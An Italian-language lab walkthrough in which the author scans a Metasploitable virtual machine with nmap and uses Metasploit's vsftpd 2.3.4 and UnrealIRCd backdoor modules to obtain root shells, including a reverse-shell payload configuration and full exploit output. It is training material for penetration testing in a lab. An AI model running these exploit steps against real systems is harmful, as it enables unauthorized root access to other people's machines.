

HACKING CON METASPLOIT vsftpd e irc

Modifico l'indirizzo della macchina Metasploitable:

```
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c7:ee:82
          net addr:192.168.1.149  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec7:ee82/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:9 errors:0 dropped:0 overruns:0 frame:0
          TX packets:58 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:576 (576.0 B)  TX bytes:4500 (4.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:110 errors:0 dropped:0 overruns:0 frame:0
          TX packets:110 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:22865 (22.3 KB)  TX bytes:22865 (22.3 KB)
```

Metto la macchina Kali sulla stessa subnet:

```
GNU nano 6.4
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.100/24
gateway 191.168.50.1
```

SESSIONE DI HACKING SUL SERVIZIO **VSFTPD**

Controllo i servizi attivi:

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 08:48 EST
Nmap scan report for 192.168.1.149
Host is up (0.00083s latency).
Not shown: 982 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian Subuntu1 (protocol 2.0)
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.43 seconds
```

Attivo Metasploit:

```
(kali㉿kali)-[~]
└─$ msfconsole

      ,
    ,('_____,_____)
   (_____) 0 0 (_____)
      \_o_/
      o_o \
          \ M S F
           ||| ____ |||
           ||| ww |||
           ||| ____ |||

+ -- ==[ metasploit v6.2.26-dev ]
+ -- ==[ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- ==[ 951 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Use the analyze command to suggest
runnable modules for hosts
Metasploit Documentation: https://docs.metasploit.com/
```

Controllo se esiste un exploit per il servizio <<vsftpd>>:

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/unix/ftp/vsftpd_234_backdoor`

Utilizzo il comando **<<use>>** seguito dal path dell'exploit per utilizzarlo. Successivamente utilizzo il comando **<<show options>>** per capire quali parametri devono essere configurati:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	21	yes	The target port (TCP)

Configuro l'indirizzo della macchina vittima **192.168.1.149**, e controllo che sia stato inserito correttamente:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Controllo i payloads disponibili per l'exploit:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
--  --
0  payload/cmd/unix/interact                 normal          No     Unix Command, Interact with Established Connection
```

Verifico i parametri necessari per eseguire il payload: **(questo payload non ha bisogno di parametri!)**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Lanciamo l'attacco con il comando **<<exploit>>**:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:33707 → 192.168.1.149:6200) at 2023-03-06 09:06:37 -0500
```

Confermo che l'ip dato dalla macchina sia **192.168.1.149**:

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:c7:ee:82
          inet addr:192.168.1.149  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fec7:ee82/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1842 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1948 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:145950 (142.5 KB)  TX bytes:153898 (150.2 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:367 errors:0 dropped:0 overruns:0 frame:0
          TX packets:367 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:99481 (97.1 KB)  TX bytes:99481 (97.1 KB)
```

Creo la cartella **test_metasploit** nella directory di root:

```
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
mkdir /test_metasploit
ls | grep test
test_metasploit
```

SESSIONE DI HACKING SUL SERVIZIO *IRC*

Controllo i servizi attivi:

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 08:44 EST
Nmap scan report for 192.168.1.149
Host is up (0.00018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain        ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind       2 (RPC #100000)
139/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs           2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc           VNC (protocol 3.3)
6000/tcp  open  x11           (access denied)
6667/tcp  open  irc           UnrealIRCd
8009/tcp  open  ajp13         Apache jkerv (Protocol v1.3)
8180/tcp  open  unknown
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```
msf6 > search unrealircd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent No      UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     6667             yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/bind_perl		normal	No	Unix Command Shell, Bind TCP (via Perl)
1	payload/cmd/unix/bind_perl_ipv6		normal	No	Unix Command Shell, Bind TCP (via perl) IPv6
2	payload/cmd/unix/bind_ruby		normal	No	Unix Command Shell, Bind TCP (via Ruby)
3	payload/cmd/unix/bind_ruby_ipv6		normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
4	payload/cmd/unix/generic		normal	No	Unix Command, Generic Command Execution
5	payload/cmd/unix/reverse		normal	No	Unix Command Shell, Double Reverse TCP (telnet)
6	payload/cmd/unix/reverse_bash_telnet_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
7	payload/cmd/unix/reverse_perl		normal	No	Unix Command Shell, Reverse TCP (via Perl)
8	payload/cmd/unix/reverse_perl_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
9	payload/cmd/unix/reverse_ruby		normal	No	Unix Command Shell, Reverse TCP (via Ruby)
10	payload/cmd/unix/reverse_ruby_ssl		normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)
11	payload/cmd/unix/reverse_ssl_double_telnet		normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
```

```
payload => cmd/unix/reverse
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
```

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
RHOSTS	192.168.1.149	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	6667	yes	The target port (TCP)

Payload options (cmd/unix/reverse):

Name	Current Setting	Required	Description
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 192.168.1.25
```

```
lhost => 192.168.1.25
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
```

```
[*] Started reverse TCP double handler on 192.168.1.25:4444
[*] 192.168.1.149:6667 - Connected to 192.168.1.149:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.1.149:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo aS8uEsaYFiU08ULO;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "aS8uEsaYFiU08ULO\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.25:4444 -> 192.168.1.149:45917) at 2023-03-09 09:35:37 -0500
```

ifconfig

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:9c:25:77
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9c:2577/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:146 errors:0 dropped:0 overruns:0 frame:0
          TX packets:134 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:17150 (16.7 KB)  TX bytes:13644 (13.3 KB)
          Base address:0xd020  Memory:f0200000-f0220000
```

lo

```
Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:121 errors:0 dropped:0 overruns:0 frame:0
TX packets:121 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:32138 (31.3 KB)  TX bytes:32138 (31.3 KB)
```

